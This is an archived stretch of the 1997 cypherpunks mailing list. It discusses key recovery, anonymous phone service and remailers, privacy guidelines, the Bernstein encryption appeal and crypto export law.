From: Anonymous <anon@anon.efga.org>
Date: Tue, 9 Dec 1997 20:32:56 +0800
To: cypherpunks@Algebra.COM
Subject: "Kids Safe" calls for mandatory blocking sw; op-ed on summit (fwd)
Message-ID: <3d8db122af93212f09a7e9e37dec0220@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>What a pipe dream, as one dies another is born.

Good point. They'll probably never learn.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@dueprocess.com>
Date: Tue, 9 Dec 1997 20:55:34 +0800
To: cypherpunks@toad.com
Subject: [MORE] Re: A Pretty Good Story
In-Reply-To: <v03007802b0b1d8886967@[204.254.22.9]>
Message-ID: <3.0.5.32.19971209074110.00833ba0@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



NETWORK ASSOCIATES DISAVOWS KEY RECOVERY TIE

Citing unintended political consequences, Network Associates - the new
owner of PGP - has withdrawn from the Key Recovery Alliance.
           . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
http://www.wired.com/news/news/email/other/technology/story/9010.html



***************************************************************************
Lynne L. Harrison, Esq.         |  "It isn't pollution that's harming the
Poughkeepsie, New York          |  environment. It's the impurities in
mailto:lharrison@dueprocess.com |  our air and water that are doing it." 
http://www.dueprocess.com       |                  - Dan Quayle
***************************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 9 Dec 1997 21:51:47 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
Message-ID: <199712091400.IAA04323@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Jeff Barber <jeffb@issl.atl.hp.com>
> Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
> Date: Tue, 9 Dec 1997 08:40:46 -0500 (EST)

> Jim Choate writes:
> 
> >                    To the best of my knowledge no phone company anywhere
> > will allow a customer to purchase service without identifying themselves to
> > the phone company. Please let me know if there is such a beast somewhere.
> 
> Go to your nearest convenience store.  It's got something called a
> pay phone.  Just cough up a quarter, no ID required.

Really? I don't think so.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steffen Zahn <zahn@berlin.snafu.de>
Date: Tue, 9 Dec 1997 15:41:29 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Complete package for Cantsin Protocol No. 2
In-Reply-To: <199712082051.VAA22039@basement.replay.com>
Message-ID: <199712090737.IAA00802@n243-197.berlin.snafu.de>
MIME-Version: 1.0
Content-Type: text/plain



>>>>> "Cantsin" == Anonymous  <nobody@REPLAY.COM> writes:

    Cantsin> The source code is completely unencumbered.  This is
    Cantsin> great!  For some reason, it has been the custom to issue
             [...]

Well, you need libgmp (GNU LGPL License) and Perl (Artistic License).
I consider this not more then a proof of concept, for example the
private key is not encrypted, the key management is done by hand,
there is no web of trust or something similar,
and normally one would write the hole thing completely in C.

    Cantsin> It might be a good idea to publish the SHA1 checksum of
    Cantsin> the file you are distributing.  The checksum of the file
    Cantsin> I got (cantsin.tar.gz) was:
    Cantsin> D054C9E4ABD5CEE0C5A4343E5D1E2EF91C00048A

I have       D054C9E4ABD5CEE0C5A4343E5D1E2EF91C00048A
which looks the same. I'm currently making some improvements, in
particular in the speed of the key generation. I'm open to other
suggestions to improve this package.

    Cantsin> I may not approve of the restrictions on free speech in
    Cantsin> Germany, but at least the German government isn't trying
    Cantsin> to stop people from publishing arithmetic.  The truth is,
    Cantsin> that for Monty Cantsin's activities, he would get a
    Cantsin> better deal on free speech if he were German.

There are activities underway. The German knights of public and national
security have their own agenda: production, distribution and use of strong
cryptography shall require key escrow in the software. There was already
one failed trial to launch a law to require this. Now the activities
run in interior circles, nobody knows what comes next.

Steffen

-- 
home email:  user@domain where domain=berlin.snafu.de, user=zahn
Use of my address for unsolicited commercial advertising is forbidden.
                 "Where do you want to crash today?"
25BA1A9F5B9010DD8C752EDE887E9AF3 [Cantsin Protocol No. 2]
712ADCBCF936ECA98E9F5D12AE0138F0436836A1
F393575F5C547874C12E15CAEDF4A268E1623D5F
-74A 74A
718BA40846F568B57BB92BE594CED849995CE0CD9F591AE4A59BF73E78B31BE7F138BC53902ADFBDCF7BA3E8D7AA380EC2827F86F124D8BAA5544FB91C660F5E6ECB12DD8C545B5F084C5532F496916818590AF5A9288C32F1A190C6B2181EBF15601A8547EC907ADDE064875354981AF0CE5E80702FBC5105060019627666F21F363E186A2A40C6D73
2535614AFF58DCE60F6CF2226D9B7F1C6E0B2F1B2B287C9369408352130AF0E39486E91A1C9EACE8A0901636574D018D3520F84491FD64F0868694FB716D7A93BFD9430D80F4D24F737CB86495F1315F84D0A37A7D4D1A7F3F6D62F7A508F1AE5C2ED897E8ABAA1AF21B936F9A7DBADBF3B5BC8F4D558F8AAE264CB83E567D23976EB6F2691EF8E556





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 9 Dec 1997 21:26:48 +0800
To: ravage@ssz.com
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
In-Reply-To: <199712090021.SAA02221@einstein.ssz.com>
Message-ID: <199712091340.IAA26147@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate writes:

>                    To the best of my knowledge no phone company anywhere
> will allow a customer to purchase service without identifying themselves to
> the phone company. Please let me know if there is such a beast somewhere.

Go to your nearest convenience store.  It's got something called a
pay phone.  Just cough up a quarter, no ID required.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 10 Dec 1997 01:05:09 +0800
To: cypherpunks@toad.com
Subject: Senator to review "voluntary" privacy guidelines
Message-ID: <Pine.GSO.3.95.971209085144.27958F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



[So much for the privacy code being "voluntary." It's precisely as
voluntary and ill-advised as the Vchip or PICS. All illustrate one point:
if corporations don't self-regulate, the government will do it for them.
--Declan]

---------- Forwarded message ----------
Date: Mon, 08 Dec 1997 18:11:38 -0500
From: Aaron Pressman <aaron.pressman@reuters.com>

US lawmaker to review info industry's privacy code
    WASHINGTON, Dec 8 (Reuters) - U.S. Senate Commerce Committee chairman
John McCain said Monday he planned to review voluntary industry efforts to
protect the privacy of people using the Internet.
   The Arizona Republican made the statement in a letter to the head of the
 Information Technology Industry Council, a group of computer manufacturers
 that unveiled on Monday a code of conduct for respecting privacy on their
sites on the Internet's World Wide Web.
   "I look forward to reviewing these standards at the Commerce Committee,"
 McCain said.
   McCain called the group's eight privacy principles "a good first step,"
adding that he was "pleased the industry took it upon itself to attempt to
deal with this important issue."
   Council officials said the voluntary guidelines were, in part, intended
to address the concerns of lawmakers and President Bill Clinton, who in
July challenged the industry to come up with practices to protect privacy.
   The council included major personal computer makers such as Dell
Computer Corp <DELL.O> and Compaq Computer Corp <CPQ.N>, chipmakers like
Intel Corp <INTC.O> and Motorola Inc <MOT.N> and manufacturers of related
gear like AMP Inc <AMP.N> and Lexmark International Group Inc <LXK.N>.
   The guidelines recommend that a company notify consumers of what
personal data are being collected on a Web site and allow them some degree
of choice over how the data are used.
   Technological solutions should be employed "enabling individual data
providers to exercise choice and control over their personal data," the
guidelines said.
   Companies should also limit the collection of data to what is needed for
 valid business reasons and to ensure the data's accuracy and security.
   One aspect of the guidelines that could draw fire from the White House
and Capitol Hill concerns the protection of children's privacy.
   In July, Clinton said protecting children, who might be unable to make
"informed choices" about revealing personal information, could justify some
 legislation.
   The new guidelines recommend only that parents teach their children
appropriate behavior. "Individuals should use their powers of choice in the
 marketplace to safeguard their personal data and that of the children,"
the guidelines said in the only explicit reference to youngsters.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael H. Warfield" <mhw@wittsend.com>
Date: Tue, 9 Dec 1997 22:18:12 +0800
To: clydew@ee.net
Subject: Re: A Pretty Good Story, from The Netly News
In-Reply-To: <3.0.1.32.19971208181548.00693ca0@ee.net>
Message-ID: <199712091409.JAA04499@alcove.wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain



Clyde Williamson enscribed thusly:
-- Start of PGP signed section.
> Well, I guess we can call off the hit on Zimmermann... hehehe.

> BTW- Is there any way to create keys on PGP 5.0 besides the Diffe-
> Hellman alg.?

	The fully licensed version or the compile-your-own version (compile
time option) will generate the RSA compatible keys.

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 9 Dec 1997 16:53:06 +0800
To: Steve Schear <schear@lvdi.net>
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: <v03102802b0b1d4268cd8@[208.129.55.202]>
Message-ID: <Pine.BSF.3.96.971209094615.18876D-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 8 Dec 1997, Steve Schear wrote:
> 
> Isn't uttering a check protected speech?  What about if a check is stego-coded in some political rant?  Can the Feds insist I not utter that speech?

The feds can do anything they want. If it pleases them to put a bullet
through your head, or  that of you wife, they can do so at their leisure.
Without any fear of future consequences. Just ask Randy Weaver. Or his
wife. Never mind. You can't  ask his wife. She received a bullet.

If the feds can *kill* you for any reason or no reason at all, they
certainly can throw you into the slammer for  whatever you may choose to
utter.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 9 Dec 1997 23:27:19 +0800
To: "Lynne L. Harrison" <lharrison@dueprocess.com>
Subject: Re: [MORE] Re: A Pretty Good Story
In-Reply-To: <19971208153716.54223@alpha.jpunix.com>
Message-ID: <v03007804b0b30f96e369@[204.254.21.127]>
MIME-Version: 1.0
Content-Type: text/plain



At 07:41 -0500 12/9/97, Lynne L. Harrison wrote:
>Citing unintended political consequences, Network Associates - the new
>owner of PGP - has withdrawn from the Key Recovery Alliance.

Um, yes. This is exactly what I wrote in my article yesterday. ("The
McAfee-PGP combo, called Network Associates, has dropped out of the
alliance")

Zimmermann didn't even know McAfee was in it until late last week.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Dec 1997 00:37:56 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
Message-ID: <199712091641.KAA04911@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: Adam Shostack <adam@homeport.org>
> Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
> Date: Tue, 9 Dec 1997 10:55:26 -0500 (EST)

> With both Nynex and Bell Atlantic, I've gotten phone service under a
> nym.  No SSN, no credit references, no problem.
> 
> Just don't call yourself Bill Clinton.

That isn't the same as having it listed under the nym 'anonymous', when
you can get a phone company to start service, accept payment under that
'name' and keep it that way in their records let me know. Further, with
the cross to the service address your anonymity isn't.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Wed, 10 Dec 1997 06:05:19 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
In-Reply-To: <v03102802b0b1d4268cd8@[208.129.55.202]>
Message-ID: <v03102804b0b341c96d7c@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



Thanks Lucky, I wasn't aware of that ;-)

At 9:52 AM +0100 12/9/1997, Lucky Green wrote:
>On Mon, 8 Dec 1997, Steve Schear wrote:
>> 
>> Isn't uttering a check protected speech?  What about if a check is stego-coded in some political rant?  Can the Feds insist I not utter that speech?
>
>The feds can do anything they want. If it pleases them to put a bullet
>through your head, or  that of you wife, they can do so at their leisure.
>Without any fear of future consequences. Just ask Randy Weaver. Or his
>wife. Never mind. You can't  ask his wife. She received a bullet.
>
>If the feds can *kill* you for any reason or no reason at all, they
>certainly can throw you into the slammer for  whatever you may choose to
>utter.
>
>-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
>   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 10 Dec 1997 00:12:58 +0800
To: jeffb@issl.atl.hp.com
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
In-Reply-To: <199712091340.IAA26147@jafar.issl.atl.hp.com>
Message-ID: <199712091555.KAA13772@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



With both Nynex and Bell Atlantic, I've gotten phone service under a
nym.  No SSN, no credit references, no problem.

Just don't call yourself Bill Clinton.

Fred


Jeff Barber wrote:
| Jim Choate writes:
| 
| >                    To the best of my knowledge no phone company anywhere
| > will allow a customer to purchase service without identifying themselves to
| > the phone company. Please let me know if there is such a beast somewhere.
| 
| Go to your nearest convenience store.  It's got something called a
| pay phone.  Just cough up a quarter, no ID required.
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 10 Dec 1997 04:25:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cato forum tomorrow: should money laundering be a crime?
Message-ID: <199712092004.MAA01059@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green wrote:

>If the feds can *kill* you for any reason or no reason at all, they
>certainly can throw you into the slammer for  whatever you may choose to
>utter.

>From Thoreau's "Civil Disobedience":

"Under a government which imprisons any unjustly, the true place for a just 
man is also a prison."

[...]

"If the injustice is part of the necessary friction of the machine of 
government, let it go, let it go: perchance it will wear smooth, -certainly 
the machine will wear out.  If the injustice has a spring, or a pulley, or a 
rope, or a crank, exclusively for itself, then perhaps you may consider 
whether the remedy will not be worse than the evil; but if it is of such a 
nature that it requires you to be the agent of injustice to another, then, I 
say, break the law.  Let your life be a counter friction to stop the 
machine.  What I have to do is to see, at any rate, that I do not lend 
myself to the wrong which I condemn."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 10 Dec 1997 05:20:01 +0800
To: cypherpunks@Algebra.COM
Subject: bernstein case hits appeals court
Message-ID: <199712092112.NAA11053@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

Date: Tue, 09 Dec 1997 12:59:41
To: believer@telepath.com
From: believer@telepath.com
Subject: IP: Encryption case hits U.S. appeals court

Encryption case hits U.S. appeals court

Copyright (c) 1997 Reuters 

SAN FRANCISCO (December 8, 1997 9:47 p.m. EST http://www.nando.net) -
Lawyers for a software developer argued Monday in federal appeals court
that government controls on distribution of computer encryption code
constitute an unlawful prior restraint of free speech.

In the closely watched case pitting national security interests against the
right to free speech, a government attorney countered that the software in
question was a sensitive product and that its distribution should be
limited by the government.

At issue is whether a code developed by Daniel Bernstein, now a professor
at the University of Illinois, constitutes a form of speech and should
therefore be protected under the First Amendment to the U.S. Constitution.

Encryption software allows computer data to be scrambled in order to ensure
the confidentiality of information. Current federal law prohibits the
export of strong encryption software because of concerns over national
security, even though powerful encryption codes are already available
overseas or on the Internet from foreign manufacturers.

Monday's hearing before a three-judge panel of the 9th U.S. Circuit Court
of Appeals was prompted after U.S. District Judge Marilyn Hall Patel ruled
in August that the Constitution prevented the government from placing
export restrictions on the code. The government appealed. 

Scott McIntosh, an attorney representing the Department of Commerce, told
the judges the code should be viewed not as a form of speech but as a
product that in the wrong hands could jeopardize national security.

The three justices grilled McIntosh during his allotted 20 minutes, often
preventing him from finishing his sentences.

"They asked probing questions and beyond that I don't want to
characterize," McIntosh told reporters after the hearing.

Bernstein sued several government agencies in 1995 after he was told that
he would need to be licensed as an arms dealer to post his software
encryption code, called Snuffle 5.0, on the Internet.

Cindy Cohn, who headed Bernstein's legal team, argued that Snuffle was an
expression of free speech and should be protected from the kind of scheme
that the government uses to regulate code.

"The basic flaw with the government's position is that they use a
pre-publication licensing scheme," Cohn said. "That's exactly the point --
when the government sets up a bureaucrat to decide who gets to speak and
who does not, that's a form of prior restraint."

Compared with the harried questioning of McIntosh, the justices questioned
Cohn fewer times, allowing her to finish her sentences more often.

Cohn later told reporters she was pleased with the hearing, although she
declined to comment on the outcome. A decision by the court could come at
any time over the next few weeks.

By GREG FROST, Reuters

Copyright (c) 1997 Nando.net     


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------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: rick@rentec.com (R Bradley)
Date: Wed, 10 Dec 1997 05:54:14 +0800
To: x4@juno.com (X Four)
Subject: Re: ABCnews/Nightline on Cyber Terror 8-Dec-97
In-Reply-To: <19971209.140719.6358.1.x4@juno.com>
Message-ID: <199712092137.NAA17596@rentec.com>
MIME-Version: 1.0
Content-Type: text/plain



I seem to recall X Four writing:
> Last night, ABC news once again stroked the fires of fear and raised the
> boogieman of "Hackers" destroying the goverment, banks, power plants, ad 
> nauseum.  Of course, the main guest was from the US Govt's new trumpeter 
> of CyberTerrorizm, "the President's Commission on Critical Infrastructure
> Protection".  A full transcript is available.
> http://www.abcnews.com/onair/nightline/html_files/transcripts/ntl1208.html

I recommend that those concerned light a fire under the media's collective
large @sses on the issue concerning the government's history of lofty morals
concerning their citizens and their computers.  I have been epistle-ing all
afternoon.

Rick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMailer <hc@dev.null>
Date: Wed, 10 Dec 1997 03:09:05 +0800
To: cypherpunks@toad.com
Subject: Encrypted InterNet DEATH THREAT!!! / ATTN: Ninth District Court Judges / PASSWORD: sog
Message-ID: <199712091852.MAA24686@harrier.sasknet.sk.ca>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: x4@juno.com (X Four)
Date: Wed, 10 Dec 1997 03:24:46 +0800
To: remailer-politics@server1.efga.org
Subject: ABCnews/Nightline on Cyber Terror 8-Dec-97
Message-ID: <19971209.140719.6358.1.x4@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Last night, ABC news once again stroked the fires of fear and raised the
boogieman of "Hackers" destroying the goverment, banks, power plants, ad 
nauseum.  Of course, the main guest was from the US Govt's new trumpeter 
of CyberTerrorizm, "the President's Commission on Critical Infrastructure

Protection".  A full transcript is available.
_______________________________________________________

Revolution in a Box -- Cyber Terror -- AIR DATE: Monday, Dec. 8, 1997
http://www.abcnews.com/onair/nightline/html_files/transcripts/ntl1208.html

ABC technology correspondent Gina Smith investigates the vulnerability of

our nation's computer systems and what is being done to protect them from

the threat of hackers.

Guest: Jamie Gorelick, co-chair, Advisory Committee of the President's 
Commission on Critical Infrastructure Protection

Jamie Gorelick: Well, there are a number of things we can do. I mean, the

effort that has been started already is one to build a partnership
between 
the government and the private sector to work together to know when 
we're being attacked, to share information, to ensure that we have the 
right research and eventually to be in a position to respond to an attack

with the best efforts we can.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jyri Kaljundi <jk@stallion.ee>
Date: Tue, 9 Dec 1997 20:35:30 +0800
To: Bert-Jaap Koops <E.J.Koops@kub.nl>
Subject: Re: Crypto Law Survey updated
In-Reply-To: <3E24B04053C@frw3.kub.nl>
Message-ID: <Pine.GSO.3.95.971209141625.21433L-100000@nebula>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 8 Dec 1997, Bert-Jaap Koops wrote:

> I have just updated my survey of existing and envisaged cryptography
> laws and regulations. See the Crypto Law Survey at
> http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm
> 
> This update includes:
> -new entries on Estonia

Where did you get the information that: "permit from the Ministry of
Foreign Affairs is required for export and for transit through Estonia." ? 
I find it pretty hard to believe, because our company as probably the
leading security software reseller has imported and exported every kind of
crypto software to and from Estonia and done transit through Estonia. Or
could someone point me to the source of the sentence in your crypto law
survey?

Jyri Kaljundi
jk@stallion.ee
AS Stallion Ltd
http://www.stallion.ee/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charlie Comsec <comsec@nym.alias.net>
Date: Tue, 9 Dec 1997 23:16:05 +0800
To: remailer-politics@server1.efga.org
Subject: Re: Remailer Trivia / Re: Singapore & Freedom
Message-ID: <19971209150009.18749.qmail@nym.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Jim Choate <ravage@ssz.com>  wrote:                                   
   
> > I find it interesting that most of the people who refer to anonymous  
> > posters as "hiding behind" or "hiding behind the skirts of" something  
> > usually have unlisted telephone numbers when you try to do a search   
> > for them. <g>  I wonder why "hiding behind" an unlisted telephone number
> > is considered acceptable but having an "unlisted" e-mail address is not
> > considered acceptable?
> > 
> > BTW, do you "hide behind" clothes when you walk on the street?  If so, why?
> > Got something to hide?  Huh?  COWARD!!!! <g>
> 
> Public anonymity and having an unlisted phone number are not even the same
> thing. An unlisted phone number is to reduce public exposure, anonymity is
> to enhance public exposure and secure plausible deniability. To have an
> analogous situation you would need to use a *listed* phone number registered
> to anonymous in such a way that ANI displayed the number but any directory
> search resulted in anonymous w/ no address or other tracing info even for
> the phone company. To the best of my knowledge no phone company anywhere
> will allow a customer to purchase service without identifying themselves to
> the phone company. Please let me know if there is such a beast somewhere.

That analogy is faulty.  The issue is the (claimed) need to provide an 
e-mail address when communicating via usenet, or some other public forum.  
Since the chosen communications medium is usenet (or a public mailing list like 
this), you can reply to me via that same medium.  An e-mail address is only 
required if I want E-MAIL replies in response to my post.  So, in that 
regard, a telephone number would fall into the same category.  I'd only 
feel obliged to include a phone number in my posts if I wanted people to 
contact me via TELEPHONE.

Sending anonymous e-mail to a person is more analogous to sending snail mail
without a return address.  It would be a form of one-way communications, unlike
an anonymous PUBLIC post where a public reply is still possible.  If you want 
to use the telephone analogy, then what you're talking about is
akin to a pay phone that's not traceable back to an individual.  ANI or
caller ID would show the number of the pay phone itself, just like anonymous
e-mail from a remailer shows the return address of the remailer rather than the
sender.  (For the majority of internet users, calling someone anonymously on
a payphone is probably simpler than figuring out how to use a remailer, so the
convenience of being able to call anonymously FROM HOME is not really
required.)

BTW, while this post does contain a replyable e-mail address, I'm not
soliciting e-mail replies and I can't even guarantee that a reply to my return
address would reach me, due to the uncertainty of 'nym reply blocks these
days.  For all anyone knows, all return e-mail could be forwarded to
/dev/null@somewhere.
                                  
> Generaly people wear clothes because it is convenient and required by social
> mores and legal statute.

Exactly.  And yet many on usenet would deny that same CONVENIENCE to anonymous
usenet posters.  Sure, anonymous posting can be "abused" just as people can
conceal illegal weapons under their clothing.  But the answer to that is not to 
require public nudity just to protect against "clothing abuse".  I guess a
better analogy would be a nudist colony where both nudity and clothing are
acceptable.  And the de facto censors of anonymous posts would turn Usenet into
a nudist colony where clothing was FORBIDDEN, or at least where the wearers of
clothing were ridiculed and insulted.
     
> Put your money where you mouth is, send your bank acct. no. & PIN to the
> list....come on, you can trust US.

As I'd tell someone (if I were posting anonymously) "you go first". <g>  A
couple of times an anonymous poster has offered "if you want my e-mail
address, give me your home phone number and I'll phone you and give it to you".
Strange, but I've never seen such an offer accepted.  <g>

- ---
Finger <comsec@nym.alias.net> for PGP public key (Key ID=19BE8B0D)

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/iklLAAI7aU09ctFlFO0ys2qk5CSOEf1UYpWlZu++L47r5A7OwXhAKhJ86Szhg+M
LjYHg71dPUgrqLyDTyA7ldsAbFmXE7WyLbWD1y5AeURzOOV4kXlYGMkjduNIZwyj
MrQ27L+NiG8+ruQ1eBIdqxtGiieVqzjQk83uLQRBEphiac+I+S7GHTAGo5YvlkSQ
SudLPKR+G9UAFMVyRZklwMkmawPifwKYZIVL0ZiMeI/EkWWyPZrhkQ==
=Lw+P
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 9 Dec 1997 22:18:11 +0800
To: cypherpunks@toad.com
Subject: Re: Crypto Law Survey updated
Message-ID: <199712091403.PAA25920@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jyri Kaljundi wrote:
 > On Mon, 8 Dec 1997, Bert-Jaap Koops wrote: 
> > http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

> Where did you get the information that: "permit from the Ministry of
> Foreign Affairs is required for export and for transit through Estonia." ?
> I find it pretty hard to believe, because our company as probably the
> leading security software reseller has imported and exported every kind of
> crypto software to and from Estonia and done transit through Estonia. Or
> could someone point me to the source of the sentence in your crypto law
> survey?
 
Jyri,
  There will be some people knocking on your door at 4 a.m. to take
you downtown and explain it to you.

FearMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jonathon <grafolog@netcom.com>
Date: Tue, 9 Dec 1997 23:47:28 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
In-Reply-To: <199712090021.SAA02221@einstein.ssz.com>
Message-ID: <Pine.SUN.3.95.971209153716.1594A-100000@netcom3>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 8 Dec 1997, Jim Choate wrote:

> analogous situation you would need to use a *listed* phone number registered
> to anonymous in such a way that ANI displayed the number but any directory
> search resulted in anonymous w/ no address or other tracing info even for
> the phone company. To the best of my knowledge no phone company anywhere

	Usually known as "Secure Phone Service."   << Which is also the
	name of one or two other services that local telco's offer. >>

	Where the phone company has an address to send the bill to, but
	has no idea where the phone is physically located.  

	Most of the secure phones I'm aware of have unlisted numbers.
	But that isn't a requirement.   

	The specific name of this service does change according to who
	is providing the phone service.  My guess is that less than 1%
	of the sales reps at the telco that has installed the most of
	them, has no idea what that service involves --- and will deny 
	that such a service is even offered by them. 









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Dec 1997 05:38:41 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
Message-ID: <199712092149.PAA05901@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 9 Dec 1997 15:57:15 -0500 (EST)
> From: Jrbl Pookah <lists@castle5.castlec.com>
> Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd)
> 
> 	Hmm.  Excuse the interruption into your conversation here, but
> I've signed up (in the past) for long-distance service under an assumed
> name, on a telephone line that I held in a different assumed name.  At
> least in Cincinnati, OH, the phone company didn't (doesn't?) really care,
> as long as they had a place to send the bills.  When they asked for my
> SSN, I simply told them I wouldn't give it to them, and offered my
> date-of-birth - which I lied about.  They didn't mind.
> 

Was the identity 'anonymous'? The other issues are irrelevant to this
discussion.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Dec 1997 05:44:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: [Censored] Quote of the Day (fwd)
Message-ID: <199712092156.PAA05960@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 9 Dec 1997 19:46:07 GMT
> From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
> Subject: [Censored] Quote of the Day

> From: Quote of the day <qotd-request@ensu.ucalgary.ca>
> 
> "Free Speech, Democracy"
> 
